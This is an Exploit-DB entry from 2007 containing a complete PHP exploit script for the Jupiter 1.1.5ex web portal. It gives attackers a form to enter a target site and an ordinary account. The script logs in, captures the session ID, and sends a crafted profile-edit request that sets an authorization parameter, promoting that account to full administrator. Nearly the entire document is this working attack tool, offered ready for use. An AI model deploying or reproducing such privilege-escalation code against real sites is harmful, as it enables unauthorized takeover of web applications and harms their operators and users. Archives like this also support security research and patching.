Exploit-DB #4781
Description: Jupiter 1.1.5ex - Privilege Escalation
Type: webapps
Platform: php
Date: 2007-12-24
Author: BugReport.IR

Exploit:
<?php
########################## WwW.BugReport.ir ###########################################
#
#      AmnPardaz Security Research & Penetration Testing Group
#
# Title: Jupiter 1.1.5ex Privileges Escalation
# Vendor: http://www.jupiterportal.com
# original advisory: http://www.bugreport.ir/?/23
#######################################################################################
?>

<html dir="ltr">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Jupiter 1.1.5ex Privileges Escalation</title>
<style type="text/css" media="screen">
body {
	font-size: 10px;
	font-family: verdana;
}
INPUT {
	BORDER-TOP-WIDTH: 1px; FONT-WEIGHT: bold; BORDER-LEFT-WIDTH: 1px; FONT-SIZE: 10px; BORDER-LEFT-COLOR: #D50428; BACKGROUND: #590009; BORDER-BOTTOM-WIDTH: 1px; BORDER-BOTTOM-COLOR: #D50428; COLOR: #00ff00; BORDER-TOP-COLOR: #D50428; FONT-FAMILY: verdana; BORDER-RIGHT-WIDTH: 1px; BORDER-RIGHT-COLOR: #D50428
}
</style>
</head>
<body dir="ltr" alink="#00ff00"  bgcolor="#000000" link="#00c000" text="#008000" vlink="#00c000">
<form method="POST" action="?">
Target URL (whit trailing slash) :<BR><BR>
http://<input type="text" name="target" value="www.example.com/jupiter/" size="50"><BR><BR>
Username :<BR><BR>
<input type="text" name="username" size="30"><BR><BR>
Password :<BR><BR>
<input type="text" name="password" size="30"><BR><BR>
*First Create an account on target!<BR>
The exploit will login with this username and password and then grants full access to this account!<BR><BR>
<input type="submit" name="start" value="Start">
</form>
<?php
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout", 2);

function sendpacket($packet)
{
	global $host, $html;
	$port  = 80;
	
	$ock=fsockopen(gethostbyname($host),$port);
	if ($ock)
	{
		fputs($ock,$packet);
		$html='';
		while (!feof($ock))
		{
			$html.=fgets($ock);
		}
		fclose($ock);
		// echo nl2br(htmlentities($html));
	}else die('<BR>No response from '.htmlentities($host).'<BR>');
}

if(isset($_POST['start']))
{
	if ($_POST['target'] == '' || $_POST['username'] == '' || $_POST['username'] == '')
	{
		die('Error : All fields are required!');
	}
	$Target   = trim($_POST['target']);
	$Username = trim($_POST['username']);
	$Password = trim($_POST['password']);
	$Target  .= ($Target[strlen($Target)-1] <> '/') ? '/' : '';
	$host     = substr($Target, 0 ,strpos($Target, '/'));
	$path     = substr($Target, strpos($Target, '/'));
	$Query1   = $path.'index.php';
	$packet1  = "HEAD $Query1 HTTP/1.1\r\n";
	$packet1 .= "User-Agent: Shareaza v1.x.x.xx\r\n";
	$packet1 .= "Host: ".$host."\r\n";
	$packet1 .= "Connection: Close\r\n\r\n";
	sendpacket($packet1);
	echo nl2br(htmlentities($html));
	$Pattern  = "(PHPSESSID=[a-z0-9]{20,32})";
	if(preg_match($Pattern, $html, $Matches))
	{
		$Match = $Matches[0];
		$PHPSESSID = substr($Match, 10, strlen($Match));
	}
	$Query2   = $path.'index.php?n=modules/login';
	$packet2  = "POST $Query2&username=$Username&[CREDENTIAL_REDACTED]=Login&PHPSESSID=$PHPSESSID HTTP/1.1\r\n";
	$packet2 .= "User-Agent: Shareaza v1.x.x.xx\r\n";
	$packet2 .= "Host: ".$host."\r\n";
	$packet2 .= "Connection: Close\r\n\r\n";
	sendpacket($packet2);
	if(stristr($html , 'i=1') == true)
	{
		die('Error : Incorrect username or password! Try again!');
	} else
	if(stristr($html , 'i=5') == true)
	{
		die('Error : Someone is currently using that account!');
	} else
	$RandMail = substr($PHPSESSID, 10, 6).'_mail@none.com';
	$Query3   = $path.'index.php?n=modules/panel&a=2&tmp[authorization]=4';
	$packet3  = "POST $Query3&edit[CREDENTIAL_REDACTED]=&editemail=$RandMail&edittemplate=default&editurl=&editflag=none&editday=0&editmonth=0&edityear=0&edithideemail=0&editcalendarbday=0&editmsn=&edityahoo=&editicq=&editaim=&editskype=&editsignature=&editaboutme=&PHPSESSID=$PHPSESSID HTTP/1.1\r\n";
	$packet3 .= "User-Agent: Shareaza v1.x.x.xx\r\n";
	$packet3 .= "Host: ".$host."\r\n";
	$packet3 .= "Connection: Close\r\n\r\n";
	sendpacket($packet3);
	if(stristr($html , 'i=26') == false)
	{
		die('Exploit Failed');
	}
	$Query4   = $path.'index.php?n=modules/login&a=1';
	$packet4  = "POST $Query4&PHPSESSID=$PHPSESSID HTTP/1.1\r\n";
	$packet4 .= "User-Agent: Shareaza v1.x.x.xx\r\n";
	$packet4 .= "Host: ".$host."\r\n";
	$packet4 .= "Connection: Close\r\n\r\n";
	sendpacket($packet4);
	die('Exploit succeeded! You have Full access now!');
}	
?>

# milw0rm.com [2007-12-24]